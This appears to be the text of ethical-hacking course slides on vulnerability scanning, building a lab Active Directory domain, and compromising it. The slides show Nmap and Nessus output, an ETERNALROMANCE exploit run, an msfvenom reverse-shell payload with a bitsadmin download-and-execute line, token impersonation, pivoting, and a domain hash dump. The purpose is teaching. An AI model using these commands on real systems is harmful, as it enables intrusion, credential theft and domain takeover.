


CNIT 124: Advanced Ethical Hacking



Ch 6: Finding Vulnerabilities and Exploiting Domains

Topics

[Proj 8: Nessus \(15 pts.\)](#)

[Proj 9: Nmap Scripts, Metasploit Scanner Modules, and Nikto \(15 pts.\)](#)

Exploiting Domains

[Proj 11x: Making a Domain Controller \(20 pts. extra credit\)](#)

[Proj 12x: Member Server and Group Policy \(20 pts. extra credit\)](#)

[Proj 16x: ETERNALROMANCE v. 2012 Member Server \(20 pts. extra credit\)](#)

[Proj 17x: Pivoting and Exploiting a Domain Controller \(15 pts. extra credit\)](#)

Nessus

Nessus DROWN Scan

DROWN-Win / 172.16.1.191 Configure Audit Trail Launch ▾ Export ▾

[← Back to Hosts](#)

Vulnerabilities 2


Filter ▾ Search Vulnerabilities 2 Vulnerabilities

<input type="checkbox"/>	Sev ▾	Name ▲	Family ▲	Count ▾	
<input type="checkbox"/>	MEDIUM	SSL DROWN Attack Vulnerability (Decry...	Misc.	1	/
<input type="checkbox"/>	INFO	Nessus SYN scanner	Port scanners	13	/

Host Details 🗑

IP: 172.16.1.191
Start: Today at 5:39 PM
End: Today at 5:40 PM
Elapsed: a minute
KB: [Download](#)

Vulnerabilities



- Critical
- High
- Medium
- Low
- Info

Nessus DROWN Scan

The remote host is affected by SSL DROWN and supports the following vulnerable cipher suites :

Low Strength Ciphers (<= 64-bit key)

DES-CBC-MD5	Kx=RSA	Au=RSA	Enc=DES-CBC (56)	Mac=MD5	
EXP-RC2-CBC-MD5	Kx=RSA (512)	Au=RSA	Enc=RC2-CBC (40)	Mac=MD5	export
EXP-RC4-MD5	Kx=RSA (512)	Au=RSA	Enc=RC4 (40)	Mac=MD5	export

High Strength Ciphers (>= 112-bit key)

RC4-MD5	Kx=RSA	Au=RSA	Enc=RC4 (128)	Mac=MD5	
---------	--------	--------	---------------	---------	--

DROWN: Breaking TLS using SSLv2

Nimrod Aviram¹, Sebastian Schinzel², Juraj Somorovsky³, Nadia Heninger⁴, Maik Dankel²,
Jens Steube⁵, Luke Valenta⁴, David Adrian⁶, J. Alex Halderman⁶, Viktor Dukhovni⁷,
Emilia Käsper⁸, Shaanan Cohney⁴, Susanne Engels³, Christof Paar³ and Yuval Shavitt¹

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²Münster University of Applied Sciences

³Horst Görtz Institute for IT Security, Ruhr University Bochum

⁴University of Pennsylvania

⁵Hashcat Project

⁶University of Michigan

⁷Two Sigma/OpenSSL

⁸Google/OpenSSL

taking advantage of commonly supported **export-grade ciphers**. In order to decrypt one TLS session, the attacker must passively capture about 1,000 TLS sessions using RSA key exchange, make 40,000 SSLv2 connections to the victim server, and perform 2^{50} symmetric encryption operations. We successfully carried out this attack using an optimized GPU implementation and were able to decrypt a **2048-bit RSA ciphertext in less than 18 hours on a GPU cluster and less than 8 hours using Amazon EC2.**

Nmap


```
root@kali:~# nmap -sC 172.16.1.191
```

```
Starting Nmap 7.40 ( https://nmap.org ) at 2017-09-28 17:22 EDT
```

```
Nmap scan report for 172.16.1.191
```

```
Host is up (0.0028s latency).
```

```
Not shown: 984 closed ports
```

```
PORT      STATE SERVICE
```

```
21/tcp    open  ftp
```

```
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
| drw-rw-rw-  1 user      group           0 Jun  1 08:44 . [NSE: writeable]
```

```
| drw-rw-rw-  1 user      group           0 Jun  1 08:44 .. [NSE: writeable]
```

```
|_ftp-bounce: no banner
```

```
25/tcp    open  smtp
```

```
| smtp-commands: WIN-JWBPPZSXEFV, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN,
```

```
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
```

```
80/tcp open http
| http-title: XAMPP 1.7.2
|_Requested resource was http://172.16.1.191/xampp/splash.php
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
| http-title: XAMPP 1.7.2
|_Requested resource was https://172.16.1.191/xampp/splash.php
|_ssl-cert: Subject: commonName=localhost
|_Not valid before: 2009-04-15T22:04:42
|_Not valid after: 2019-04-13T22:04:42
|_ssl-date: 2017-09-28T21:22:53+00:00; 0s from scanner time.
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_SSL2_DES_64_CBC_WITH_MD5
|_SSL2_RC4_128_EXPORT40_WITH_MD5
|_SSL2_DES_192_EDE3_CBC_WITH_MD5
|_SSL2_RC2_128_CBC_WITH_MD5
|_SSL2_RC4_128_WITH_MD5
|_SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
```

Kahoot!


Proj 11x: Making a Domain Controller

Two Windows Network Types

- Workgroup
 - Small business or home
 - Less than 10 computers
- Domain
 - Requires a server as a Domain Controller
 - Central point of administration

Proj 11x: Making a Domain Controller

Active Directory Domain Services



Forest

The screenshot shows the 'Active Directory Domain Services Configuration Wizard' window. The title bar includes the Windows logo, the text 'Active Directory Domain Services Configuration Wizard', and standard window controls (minimize, maximize, close). The main window has a light blue header with the title 'Deployment Configuration' on the left and 'TARGET SERVER WIN-1K6JON3F1HF' on the right. A vertical sidebar on the left contains a list of steps: 'Deployment Configuration' (highlighted in blue), 'Domain Controller Options', 'Additional Options', 'Paths', 'Review Options', 'Prerequisites Check', 'Installation', and 'Results'. The main content area is titled 'Select the deployment operation' and contains three radio button options: 'Add a domain controller to an existing domain', 'Add a new domain to an existing forest', and 'Add a new forest' (which is selected). Below this, the text 'Specify the domain information for this operation' is followed by a label 'Root domain name:' and a text input field containing 'hackme.com'. At the bottom of the main content area, there is a link 'More about deployment configurations'. The bottom of the window features a grey bar with four buttons: '< Previous', 'Next >', 'Install', and 'Cancel'.

Active Directory Domain Services Configuration Wizard

Deployment Configuration

TARGET SERVER
WIN-1K6JON3F1HF

Deployment Configuration

Domain Controller Options

Additional Options

Paths

Review Options

Prerequisites Check

Installation

Results

Select the deployment operation

- Add a domain controller to an existing domain
- Add a new domain to an existing forest
- Add a new forest


Specify the domain information for this operation

Root domain name:

[More about deployment configurations](#)

< Previous Next > Install Cancel

Forest




Forest Functional Level

The screenshot shows the 'Active Directory Domain Services Configuration Wizard' window. The title bar includes the Windows logo, the text 'Active Directory Domain Services Configuration Wizard', and standard window controls (minimize, maximize, close). The main content area is titled 'Domain Controller Options' and shows the 'TARGET SERVER' as 'WIN-1K6JON3FIHF'. A left-hand navigation pane lists steps: 'Deployment Configuration', 'Domain Controller Options' (highlighted), 'DNS Options', 'Additional Options', 'Paths', 'Review Options', 'Prerequisites Check', 'Installation', and 'Results'. The main area contains the following configuration options:

- Select functional level of the new forest and root domain**
 - Forest functional level: Windows Server 2012 R2
 - Domain functional level: Windows Server 2012 R2
- Specify domain controller capabilities**
 - Domain Name System (DNS) server
 - Global Catalog (GC)
 - Read only domain controller (RODC)
- Type the Directory Services Restore Mode (DSRM) password**
 - Password: [masked with 8 dots]
 - Confirm password: [masked with 8 dots]

At the bottom, there is a link for 'More about domain controller options' and a set of navigation buttons: '< Previous', 'Next >', 'Install', and 'Cancel'.

Active Directory Users and Computers



The screenshot shows the Active Directory Users and Computers console. The left pane displays a tree view with the following structure:

- Active Directory Users and Computers
- Saved Queries
- hackme.com
 - Builtin
 - Computers
 - Domain Controllers
 - ForeignSecurityPrincipals
 - Managed Service Accounts
 - Users


The main pane displays a list of objects with the following columns: Name, Type, and Description. A context menu is open over the 'student' object, showing the following options:

- Delegate Control...
- Find...
- New
 - Computer
 - Contact
 - Group
 - InetOrgPerson
 - msDS-ResourcePropertyList
 - msImaging-PSPs
 - MSMQ Queue Alias
 - Printer
 - User
 - Shared Folder
- All Tasks
- Refresh
- Export List...
- View
- Arrange Icons
- Line up Icons
- Properties
- Help

Name	Type	Description
Administrator	User	Built-in account for administering the computer/domain
Allowed RODC Password Replication Group	Security Group - Domain Local	Members in this group can have their passwords replicated to all read-only domain controllers in this domain.
Cert Publishers	Security Group - Domain Local	Members of this group are permitted to publish certificates to the directory.
Cloneable Domain Controllers	Security Group - Global	Members of this group that are domain controllers may be cloned.
Denied RODC Password Replication Group	Security Group - Domain Local	Members in this group cannot have their passwords replicated to any read-only domain controllers in this domain.
DnsAdmins	Security Group - Domain Local	DNS Administrators Group
DnsUpdateProxy	Security Group - Global	DNS clients who are permitted to perform dynamic updates on behalf of other clients.
Domain Admins	Security Group - Global	Designated administrators of the domain
Domain Computers	Security Group - Global	All workstations and servers joined to the domain
Domain Controllers	Security Group - Global	All domain controllers in the domain
Domain Guests	Security Group - Global	All domain guests
Domain Users	Security Group - Global	All domain users
Enterprise Admins	Security Group - Universal	Designated administrators of the enterprise
Enterprise Read-Only Domain Controllers	Security Group - Global	Members of this group are Read-Only Domain Controllers in the enterprise.
Group Policy Creator Owners	Security Group - Global	Members in this group can modify group policy for the domain
Guest	User	Account for guest access to the computer/domain
Protected Users	Security Group - Global	Members of this group are afforded additional protections against authentication attacks.
RAS and IAS Servers	Security Group - Global	Members of this group can access remote access properties of users.
Read-Only Domain Controllers	Security Group - Global	Members of this group are Read-Only Domain Controllers in the domain.
Schema Admins	Security Group - Global	Designated administrators of the schema
student	User	
WinRMRemoteWMIUsersGroup	Security Group - Global	Members of this group can access WMI resources over management protocols.


Proj 12x: Member Server and Group Policy

Local Login




- ComputerName\Username
- Password hash stored on local C: drive

Domain Login




- DomainName\Username
- Password hash stored on Domain Controller


Group Policy



Make Domain User Sally a Local Administrator



GPUPDATE /FORCE



```
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

PS C:\Users\sally> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\Users\sally> _
```

Sally is an Administrator

```
Administrator: Windows PowerShell
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

PS C:\windows\system32> whoami
hackme\sally
PS C:\windows\system32>
```

**Proj 16x: ETERNALROMANCE v.
2012 Member Server**

Enumerate Named Pipes

Description:

Determine what named pipes are accessible over SMB

```
msf auxiliary(pipe_auditor) > set RHOSTS 172.16.1.202
```

```
RHOSTS => 172.16.1.202
```

```
msf auxiliary(pipe_auditor) > exploit
```

```
[*] 172.16.1.202:445 - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \In  
itShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \scerpc, \srvsvc, \trkwks, \  
W32TIME_ALT, \wkssvc
```

```
[*] Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

```
msf auxiliary(pipe_auditor) > █
```

ETERNALROMANCE Exploit

```
root@kali:~/romance/test# wget https://www.exploit-db.com/download/42315
--2017-09-25 20:16:23-- https://www.exploit-db.com/download/42315
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8, 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/txt]
Saving to: '42315'

42315          [ <=>          ] 40.85K  ---KB/s   in 0.007s

2017-09-25 20:16:23 (5.55 MB/s) - '42315' saved [41834]

root@kali:~/romance/test# wget https://github.com/worawit/MS17-010/raw/master/mysmb.py
--2017-09-25 20:16:23-- https://github.com/worawit/MS17-010/raw/master/mysmb.py
Resolving github.com (github.com)... 192.30.255.113, 192.30.255.112, 192.30.255.112
Connecting to github.com (github.com)|192.30.255.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py [following]
--2017-09-25 20:16:24-- https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.192.133, 151.101.0.133, 151.101.64.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.192.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16669 (16K) [text/plain]
Saving to: 'mysmb.py'

mysmb.py      100%[=====>] 16.28K  ---KB/s   in 0.004s


2017-09-25 20:16:24 (4.27 MB/s) - 'mysmb.py' saved [16669/16669]

root@kali:~/romance/test# python 42315
42315 <ip> [pipe_name]
root@kali:~/romance/test#
```

PoC: Create C:\pwned.txt

```
root@kali:~/romance/p16x# python 42315 172.16.1.202 netlogon
Target OS: Windows Server 2012 R2 Standard 9600
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffffe00004b89020
SESSION: 0xffffc00001d74c10
FLINK: 0xffffc0000270d098
InParam: 0xffffc0000270716c
MID: 0x501
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Done
root@kali:~/romance/p16x# █
```

PoC: Create C:\pwned.txt



Create Malware as Service EXE

- `msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.188 -f exe-service > /var/www/html/shell-service.exe`

Command Line to Download and Run Malware

- `cmd /c bitsadmin /transfer wcb /priority high http://172.16.1.188/shell-service.exe C:\shell-service.exe && C:\shell-service.exe`

Incognito

```
msf exploit(handler) >
[*] Sending stage (171583 bytes) to 172.16.1.202
[*] Meterpreter session 1 opened (172.16.1.188:4444 -> 172.16.1.202:49253) at 2017-09-26 18:56:19 -0400
[+] negotiating tlv encryption
[+] negotiated tlv encryption
[+] negotiated tlv encryption

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u


Delegation Tokens Available
=====
HACKME\sally
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
=====
NT AUTHORITY\ANONYMOUS LOGON
WIN-H7CGV16341L\Guest
```

Tokens

- Like ID cards
- Windows uses them to mark who is running each process



Task Manager





The image shows a screenshot of the Windows Task Manager application. The title bar reads "Task Manager" and includes standard window controls. Below the title bar, there are tabs for "File", "Options", and "View". Underneath, there are sub-tabs for "Processes", "Performance", "Users", "Details", and "Services". The "Processes" tab is selected, displaying a list of running processes in a table format. The table has columns for Name, PID, Status, User name, CPU, Memory, and Description. The processes listed include various system and user applications, such as cmd.exe, conhost.exe, csrss.exe, explorer.exe, and services.exe. At the bottom of the window, there are buttons for "Fewer details" and "End task".

Name	PID	Status	User name	CPU	Memory	Description
cmd.exe	2648	Running	Administrator	00	416 K	Windows Command Processor
cmd.exe	2776	Running	Administrator	00	488 K	Windows Command Processor
conhost.exe	1532	Running	sally	00	600 K	Console Window Host
conhost.exe	2196	Running	sally	00	1,656 K	Console Window Host
conhost.exe	3036	Running	Administrator	00	1,048 K	Console Window Host
conhost.exe	204	Running	Administrator	00	684 K	Console Window Host
conhost.exe	544	Running	Administrator	00	696 K	Console Window Host
csrss.exe	320	Running	SYSTEM	00	1,136 K	Client Server Runtime Process
csrss.exe	384	Running	SYSTEM	00	1,200 K	Client Server Runtime Process
dllhost.exe	1996	Running	SYSTEM	00	2,660 K	COM Surrogate
dsget.exe	1064	Running	Administrator	00	844 K	Microsoft AD DS/LDS Get command line utility
dwm.exe	680	Running	DWM-1	00	52,592 K	Desktop Window Manager
explorer.exe	1216	Running	sally	00	40,540 K	Windows Explorer
lsass.exe	480	Running	SYSTEM	00	4,148 K	Local Security Authority Process
msdtc.exe	992	Running	NETWORK SERVICE	00	1,936 K	Microsoft Distributed Transaction Coordinator Service
powershell.exe	1988	Running	sally	00	56,224 K	Windows PowerShell
rundll32.exe	2236	Running	SYSTEM	00	35,076 K	Windows host process (Rundll32)
rundll32.exe	936	Running	SYSTEM	00	19,292 K	Windows host process (Rundll32)
services.exe	472	Running	SYSTEM	00	2,524 K	Services and Controller app
smss.exe	228	Running	SYSTEM	00	300 K	Windows Session Manager
spoolsv.exe	1032	Running	SYSTEM	00	6,316 K	Spooler SubSystem App
svchost.exe	548	Running	SYSTEM	00	2,936 K	Host Process for Windows Services
svchost.exe	576	Running	NETWORK SERVICE	00	2,812 K	Host Process for Windows Services


Proj 17x: Pivoting and Exploiting a Domain Controller




Direct
Attack



Pivoting



Windows Firewall



Scope Includes Attacker

IP Address

Specify the IP addresses to match:

This IP address or subnet:

This IP address range:

Predefined set of computers:

Examples: 192.168.0.12
192.168.1.0/24
2002:9d3b:1a31:4:208:74ff:fe39:6c43
2002:9d3b:1a31:4:208:74ff:fe39:0/112

From: 172.16.1.1

To: 172.16.1.201

Default gateway

OK Cancel

Metasploit Autoroute

```
msf auxiliary(smb_enumusers) > use post/multi/manage/autoroute  
msf post(autoroute) > show info
```

```
Name: Multi Manage Network Route via Meterpreter Session
```

Description:

This module manages session routing via an existing Meterpreter session. It enables other modules to 'pivot' through a compromised host when connecting to the named NETWORK and SUBMASK.

```
msf post(autoroute) > set SESSION 1
SESSION => 1
msf post(autoroute) > set CMD add
CMD => add
msf post(autoroute) > set SUBNET 172.16.1.0
SUBNET => 172.16.1.0
msf post(autoroute) > exploit

[*] Running module against WIN-H7CGV16341L
[*] Adding a route to 172.16.1.0/255.255.255.0...
[+] Route added to subnet 172.16.1.0/255.255.255.0.
[*] Post module execution completed
msf post(autoroute) > set CMD print
CMD => print
msf post(autoroute) > exploit


[*] Running module against WIN-H7CGV16341L

IPv4 Active Routing Table
=====

Subnet          Netmask          Gateway
-----          -
172.16.1.0      255.255.255.0   Session 1

[*] There are currently no IPv6 routes defined.
[*] Post module execution completed
msf post(autoroute) > █
```

Member Server



```
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

PS C:\Users\sally> runas /user:administrator@hackme.com cmd
Enter the password for administrator@hackme.com:
Attempting to start cmd as user "administrator@hackme.com" ...
RUNAS ERROR: Unable to run - cmd
1326: The user name or password is incorrect.
PS C:\Users\sally>
PS C:\Users\sally>
PS C:\Users\sally> runas /user:administrator@hackme.com cmd
Enter the password for administrator@hackme.com:
Attempting to start cmd as user "administrator@hackme.com" ...
PS C:\Users\sally>
```

Administrator: cmd (running as administrator@hackme.com)

```
Microsoft Windows [Version 6.3.9600]
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C:\Windows\system32>
```

Incognito

```
meterpreter > list_tokens -u
```

```
Delegation Tokens Available
```

```
=====
```

```
HACKME\Administrator
```

```
HACKME\sally
```

```
NT AUTHORITY\LOCAL SERVICE
```

```
NT AUTHORITY\NETWORK SERVICE
```

```
NT AUTHORITY\SYSTEM
```

```
Window Manager\DWM-1
```

```
Impersonation Tokens Available
```

```
=====
```

```
NT AUTHORITY\ANONYMOUS LOGON
```

```
WIN-H7CGV16341L\Guest
```

```
meterpreter > █
```

Impersonate Token Become Domain Admin

```
meterpreter > impersonate_token HACKME\Administrator  
[+] Delegation token available  
[+] Successfully impersonated user HACKME\Administrator  
meterpreter > shell  
Process 2232 created.  
Channel 6 created.  
Microsoft Windows [Version 6.3.9600]  
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C:\Windows\system32>whoami  
whoami  
hackme\administrator  
  
C:\Windows\system32>
```

current_user_psexec

```
use exploit/windows/local/current_user_psexec  
show info
```

Description:

This module uploads an executable file to the victim system, creates a share containing that executable, creates a remote service on each target system using a UNC path to that file, and finally starts the service(s). The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash.

Domain Hashes

```
msf exploit(current_user_psexec) > use post/windows/gather/smart_hashdump
msf post(smart_hashdump) > set session 5
session => 5
msf post(smart_hashdump) > show options

Module options (post/windows/gather/smart_hashdump):

  Name          Current Setting  Required  Description
  ----          -
  GETSYSTEM     false           no        Attempt to get SYSTEM privilege on the target host.
  SESSION       5               yes       The session to run this module on.

msf post(smart_hashdump) > exploit

[*] Running module against WIN-1K6JON3F1HF
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20170927142537 default_172.16.1.201_windows.hashes_369953.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...
[-] Failed to dump hashes as SYSTEM, trying to migrate to another process
[*] Migrating to process owned by SYSTEM
[*] Migrating to wininit.exe
[+] Successfully migrated to wininit.exe
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:45576b70c7b13aee3b66975ec7c1c512
[+] sally:1105:aad3b435b51404eeaad3b435b51404ee:41fea41d221ccd6d0e548ba48f2a4bbe
[+] susan:1106:aad3b435b51404eeaad3b435b51404ee:1cedfa2504c421c058eacf72470ec563
[+] WIN-1K6JON3F1HF$:1002:aad3b435b51404eeaad3b435b51404ee:2bc6216c37e0870962eaed14251f52ec
[+] WIN-H7CGV16341L$:1107:aad3b435b51404eeaad3b435b51404ee:ddbfd5a4517abdec7ad43e61256c92bb
[*] Post module execution completed
msf post(smart_hashdump) > █
```


Kahoot!